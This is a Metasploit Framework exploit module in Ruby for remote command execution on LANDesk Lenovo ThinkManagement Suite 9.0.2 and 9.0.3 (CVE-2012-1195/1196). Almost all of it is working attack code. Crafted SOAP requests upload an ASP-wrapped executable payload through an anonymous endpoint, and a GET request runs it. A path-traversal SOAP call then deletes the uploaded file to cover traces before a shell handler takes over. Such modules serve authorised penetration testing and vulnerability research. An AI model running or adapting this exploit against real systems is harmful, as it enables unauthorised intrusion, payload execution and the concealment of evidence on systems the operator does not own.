1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name'=> 'LANDesk Lenovo ThinkManagement Console Remote Command Execution', 'Description'=> %q{ This module can be used to execute a payload on LANDesk Lenovo ThinkManagement Suite 9.0.2 and 9.0.3. The payload is uploaded as an ASP script by sending a specially crafted SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx" , via a "RunAMTCommand" operation with the command '-PutUpdateFileCore' as the argument. After execution, the ASP script with the payload is deleted by sending another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx" via a "SetTaskLogByFile" operation. }, 'Author'=> [ 'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'Version' => '$Revision: $', 'Platform'=> 'win', 'References'=> [ ['CVE', '2012-1195'], ['CVE', '2012-1196'], ['OSVDB', '79276'], ['OSVDB', '79277'], ['BID', '52023'], ['URL', 'http://www.exploit-db.com/exploits/18622/'], ['URL', 'http://www.exploit-db.com/exploits/18623/'] ], 'Targets' => [ [ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ], ], 'DefaultTarget'=> 0, 'Privileged' => false, 'DisclosureDate' => 'Feb 15 2012' ) register_options( [ OptString.new('PATH', [ true,"The URI path of the LANDesk Lenovo ThinkManagement Console", '/']) ], self.class) end def exploit peer = "#{rhost}:#{rport}" # Generate the ASP containing the EXE containing the payload exe = generate_payload_exe asp = Msf::Util::EXE.to_exe_asp(exe) # htmlentities like encoding asp = asp.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">") uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/") upload_random = rand_text_alpha(rand(6) + 6) upload_xml_path = "ldlogon\\#{upload_random}.asp" soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <RunAMTCommand xmlns="http://tempuri.org/"> <Command>-PutUpdateFileCore</Command> <Data1>#{rand_text_alpha(rand(4) + 4)}</Data1> <Data2>#{upload_xml_path}</Data2> <Data3>#{asp}</Data3> <ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString> </RunAMTCommand> </soap:Body> </soap:Envelope> eos # # UPLOAD # attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx" print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...") res = send_request_cgi({ 'uri'=> attack_url, 'method' => 'POST', 'ctype'=> 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"http://tempuri.org/RunAMTCommand\"", }, 'data' => soap, }, 20) if (! res) print_status("#{peer} - Timeout: Trying to execute the payload anyway") elsif (res.code < 200 or res.code >= 300) print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]") return end # # EXECUTE # upload_path = uri_path + "ldlogon/#{upload_random}.asp" print_status("#{peer} - Executing #{upload_path}...") res = send_request_cgi({ 'uri'=>upload_path, 'method' => 'GET' }, 20) if (! res) print_error("#{peer} - Execution failed on #{upload_path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]") return end # # DELETE # soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SetTaskLogByFile xmlns="http://tempuri.org/"> <computerIdn>1</computerIdn> <taskid>1</taskid> <filename>../#{upload_random}.asp</filename> </SetTaskLogByFile> </soap:Body> </soap:Envelope> eos attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx" print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...") res = send_request_cgi({ 'uri'=> attack_url, 'method' => 'POST', 'ctype'=> 'text/xml; charset=utf-8', 'headers'=> { 'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"", }, 'data' => soap, }, 20) if (! res) print_error("#{peer} - Deletion failed at #{attack_url} [No Response]") return elsif (res.code < 200 or res.code >= 300) print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]") return end handler end end |